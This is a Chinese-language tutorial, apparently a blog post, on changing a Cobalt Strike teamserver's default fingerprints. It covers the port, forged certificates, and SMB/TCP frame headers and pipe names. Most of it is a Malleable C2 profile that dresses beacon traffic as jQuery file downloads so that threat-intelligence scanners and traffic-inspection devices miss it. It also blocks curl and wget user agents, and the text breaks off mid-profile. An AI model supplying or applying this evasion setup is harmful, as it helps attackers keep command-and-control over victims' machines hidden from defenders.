总字符数: 38.95K

代码: 34.06K, 文本: 2.08K

预计阅读时间: 2.62 小时

什么是特征

特征 : 人或事物可供识别的特殊的象征或标志,

cobalt strike也有属于自己的特征 , 比如默认开放的端口号是50050 , 自带证书里面有cobalt strike字符等

为什么要修改特征

因为cs服务器如果默认特征不进行修改的话 , 很容易被搜索引擎或者威胁情报标记成木马远控服务器 , 以及进行一些特征的修改就算ip地址暴露了 , 也不能直接肯定这个ip是木马远控 , 提高自身的隐藏性

如何修改特征

修改特征是针对cs服务端进行特征的修改 , 客户端不需要修改

牢记 : cs服务器需要的时候再开启 , 平常不需要的时候就关闭

修改默认端口

sudo vim teamserver

修改默认证书

推荐付费ssl证书

1.购买域名,申请免费的ssl证书

2.修改teamserver证书密码

查看默认证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 默认密码是 Microsoft
┌──(kali㉿kali)-[/opt/CS/coablt_strike_4.5_jx]
└─$ keytool -list -v -keystore cobaltstrike.store

输入密钥库口令:
密钥库类型: PKCS12
密钥库提供方: SunJSSE

您的密钥库包含 1 个条目

别名: cobaltstrike
创建日期: 2022-6-13
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, ST=WA, C=US
发布者: CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, ST=WA, C=US
序列号: 21dcbd23
生效时间: Mon Jun 13 15:52:02 CST 2022, 失效时间: Sun Sep 11 15:52:02 CST 2022
证书指纹:
SHA1: B3:1E:0C:30:F4:33:57:31:8C:CF:D5:37:EF:32:0F:25:73:C7:AD:2C
SHA256: 2E:A0:BD:28:BD:F1:C9:F2:BC:BE:95:17:38:FB:6A:89:2E:B0:55:56:8C:D0:33:7F:FA:3F:77:BC:39:05:08:DF
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
版本: 3

扩展:

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 8B B3 9D E3 74 52 5C 89 78 71 38 5A 37 73 2B 13 ....tR\.xq8Z7s+.
0010: C4 9B E2 F3 ....
]
]



*******************************************
*******************************************

生成伪造证书

1
2
3
4
5
6
7
8
9
10
11
sudo mv cobaltstrike.store cobaltstrike.store.bak

sudo keytool -keystore cobaltstrike.store -storepass 1qazwsx -keypass 1qazwsx -genkeypair -keyalg RSA -alias qq.com -dname "CN=US, OU=qq.com, O=Software, L=Somewhere, ST=Cyberspace, C=CN"

# -keystore cobaltstrike.store: 指定密钥库文件的名称,
# -storepass 1qazwsx: 密钥库的密码,
# -keypass 1qazwsx: 生成的密钥的密码,
# -genkeypair: 生成密钥对(包含公钥和私钥),
# -keyalg RSA: 指定使用的密钥算法为 RSA,
# -alias qq.com: 指定密钥的别名为 qq.com,
# -dname "CN=US, OU=qq.com, O=Software, L=Somewhere, ST=Cyberspace, C=CN": 生成密钥时使用的 DN(区分名),

然后在teamserver中修改以下两项即可

1
2
-Djavax.net.ssl.keyStore=./cobaltstrike.store
-Djavax.net.ssl.keyStorePassword=1qazwsx

虽然伪装的证书可以欺骗fofa这类搜索引擎.但毕竟是自签名,使用ssl证书查询工具是查询不到颁发机构的.

真正的证书是由证书签发机构颁布的.可以通过云服务器商免费申请ssl证书,不过国内要实名备案.

推荐国外云服务提供商,他们不需要实名备案.

证书格式推荐jks的证书,直接修改文件名.然后在teamserver中配置就可以了.

Certbot免费申请SSL证书

安装Certbot
1
sudo apt update && sudo apt install certbot
添加A记录

添加需要申请域名的A记录,指向执行certbot脚本的服务器,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
root@kali:/opt/CS# certbot -d ****.today --manual --preferred-challenges dns certonly
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Enter email address (used for urgent renewal and security notices)
(Enter 'c' to cancel): test@admin.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.4-April-3-2024.pdf. You must agree in
order to register with the ACME server. Do you agree?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: Y

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Would you be willing, once your first certificate is successfully issued, to
share your email address with the Electronic Frontier Foundation, a founding
partner of the Let's Encrypt project and the non-profit organization that
develops Certbot? We'd like to send you email about our work encrypting the web,
EFF news, campaigns, and ways to support digital freedom.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: Y
Account registered.
Requesting a certificate for ******.today

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name:

_acme-challenge.****.today.

with the following value:

3aDdvZOMSeocA**********JoETHEQQFqw

Before continuing, verify the TXT record has been deployed. Depending on the DNS
provider, this may take some time, from a few seconds to multiple minutes. You can
check if it has finished deploying with aid of online tools, such as the Google
Admin Toolbox: https://toolbox.googleapps.com/apps/dig/#TXT/_acme-challenge.******.today.
Look for one or more bolded line(s) below the line ';ANSWER'. It should show the
value(s) you've just added.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Press Enter to Continue

按照上边的提示添加一个name为_acme-challenge.****.today, value为3aDdvZOMSeocA**********JoETHEQQFqw的TXT解析记录,保存之后稍等一会儿再按回车,DNS解析需要点时间,大概需要一分钟就能生效.

回车之后,稍等片刻,如果申请成功会看到以下信息.

转换

pem、crt格式的证书需进行转换,先加一下密码.

1
2
3
4
5
6
7
8
9
10
11
openssl rsa -in privkey.pem -aes256 -out privkey_with_password.pem
# 转换为p12格式
openssl pkcs12 -export -out mycert.p12 -inkey privkey_with_password.pem -in fullchain.pem -passout pass:YourP12Password

# -export: 指示 openssl 导出到 P12 文件,
# -out mycert.p12: 指定输出的 P12 文件名,
# -inkey privkey_with_password.pem: 指定包含密码的私钥文件,
# -in /etc/letsencrypt/live/yourdomain.com/fullchain.pem: 指定包含证书链的文件,
# -passout pass:YourP12Password: 用于设置 P12 文件的密码,请将 YourP12Password 替换为你希望使用的密码,

mv mycert.p12 /opt/CS/coablt_strike_4.5_jx/mycert.store

crt格式—>store

1
keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store

然后在teamserverprofile对应位置修改证书路径及密码

配置Profile

cs中默认是没有profile文件的 , 需要自己配置 , 而且官网称profile文件为Malleablec2,整个profile文件的配置就是进行流量上的伪装, 把命令的下发和结果的回传进行包装 , 让他从流量上看起来更像是在访问网页.

全局变量

1
2
3
4
5
6
7
8
9
10
11
# 设置全局变量sample_name , 值是当前文件名
set sample_name "jQuery CS 4.5 Profile";
# 设置心跳包的时间 , 单位毫秒
set sleeptime "1000";
# set sleeptime "<60000>"; # 1 Minute , 默认的

set jitter "50"; # 设置心跳包时间的波动范围 45 +- 45*37%
set data_jitter "100"; # 意味着每次HTTP服务器响应时,都会附加一个长度在0到100个字符之间的随机字符串,这样做的目的是为了增加服务器响应的大小的不可预测性,使得Cobalt Strike的通信模式更难以通过网络监控工具被识别和分析.

# 设置全局的UA头
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";

SSL证书设置

1
2
3
4
5
6
7
8
9
10
https-certificate {
set C "US"; #国家
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";

set keystore "cobaltstrike.store"; # 证书文件
set password "1qazwsx"; # 证书密码
}

SMB

在通过 CS 进行内网渗透的过程中,出网的OA系统与我们的TeamServer服务器建立了HTTP Beacon进程,而域控系统不出网它与OA系统建立SMB Beacon的进程,这两个进程之间进行通信就涉及到了一个概念:命名管道

那么我们可以自定义修改什么东西呢?首先了解一下 SMB 头的结构:

1
2
3
4
5
# SMB Beacon 
# SMB [长度][数据]
set smb_frame_header "\x80";
set pipename "pmns.8507.1179.793340931646472486##"; # smb管道的名字
set pipename_stager "pmns.8507.1179.793340931646472486##"; # smb stager管道的名字

而有一些流量监测设备它会先取到 SMB 的长度值,然后根据长度向后进行匹配数据内容,并将匹配的数据内容与特征库中记录进行对比,如果匹配上了就会被识别出是一个SMB Beacon的进程,然后就会被查杀.

对抗方法:set smb_frame_header="McZqJerrcYXxBoQNxrepOqPQ \x80";我们在前面加上一些垃圾字符,使其无法正常匹配到关键信息.在 CS 里SMB Beacon还会有一个管道名(pipename),而它的值还是默认的,这部分值也有可能会被提取出来加入特征库,所以我们在使用的过程中必须对pipename进行一个自定义.set pipename "McZqJerrcYXxBoQNxrepOqPQ-#####";

pipename和pipename_stager字符串不要一样

pipename_stager:CS 提供一个功能:jump->psexec使用的就是 SMB 协议,当我们的OA系统与域控系统连接时就是建立的SMB Beacon进程,建立这样的一个进程会在域控系统上上传某个文件并运行,但是如果这样的文件大小太大,就容易被流量设备检测到并中断,所以这里就应用了一种思想“小马拉大马”,通过上传一个小文件再利用这个小文件上传大文件.这就是pipename_stager.

TCP

因为现在在内网中SMB的查杀非常严格,所以在我们自定义不好的情况下,可以考虑TCP 建立这样的连接,也就是我们的承载协议变成了 TCP.

1
2
3
4
# TCP Beacon监听端口
# 同样是增加混淆的字符进行绕过
set tcp_frame_header "McZqJerrcYXxBoQNxrepOqPQ \x80";
set tcp_port "42585";

DNS-Beacon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dns-beacon {
set dns_idle "114.114.114.114"; # 第一次dns查询的地址
set dns_max_txt "252"; # 最大查询次数 , 255以下 , 能被4整除
set dns_sleep "0"; # sleep时间
set dns_ttl "5"; # tll值
set maxdns "255"; # 最大dns服务转接数量
set dns_stager_prepend ".resources.123456."; # 使用dns协议的马,pe头追加的内容
set dns_stager_subhost ".feeds.123456."; # 子域名的查询配置
# DNS subhosts override options, added in version 4.3
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}

SSH-Beacon

1
2
set ssh_banner        "OpenSSH_7.4 Debian (protocol 2.0)";  # SSH连接的banner信息
set ssh_pipename "miuJRfvN##"; # 定义了用于SSH伪Beacon通信的命名管道的名称前缀,##是一个占位符

Http-Stager

Http-Stager块是用来自定义HTTP阶段化(staging)过程的配置,阶段化是Cobalt Strike中的一个重要概念,它指的是将第二阶段的有效载荷(即用于后渗透测试的代码)传输到已经受到攻击者控制的主机上的过程.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#  用于指定是否启用通过HTTP、HTTPS或DNS进行阶段化(第二阶段)的有效载荷(payload)托管,
set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Language" "en-US,en;q=0.5";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
}
}

Http-Config

不单单是http实际上也是https的全局响应头配置

1
2
3
4
5
6
7
8
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}

Http-Get

命令的下发相当于是teamserver(cs服务端)向受害者发送一个get请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
http-get {
# 下发命令访问的uri
set uri "/jquery-3.3.1.min.js";
# 请求方法
set verb "GET";
# 客户端配置
client {
# 请求头配置
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
# 元数据
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
# 服务端配置
server {
# 响应头设置
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
# 输出信息
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}

Http-Post

结果的回传相当于受害者向teamserver发送一个post请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
http-post {
# 请求的地址
set uri "/jquery-3.3.2.min.js";
# 请求的方法
set verb "POST";
# 客户端配置
client {
# 请求头
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
# 参数
id {
mask;
base64url;
parameter "__cfduid";
}
# 输出信息
output {
mask;
base64url;
print;
}
}
# 服务端配置
server {
# 响应头配置
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
# 输出的内容
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof 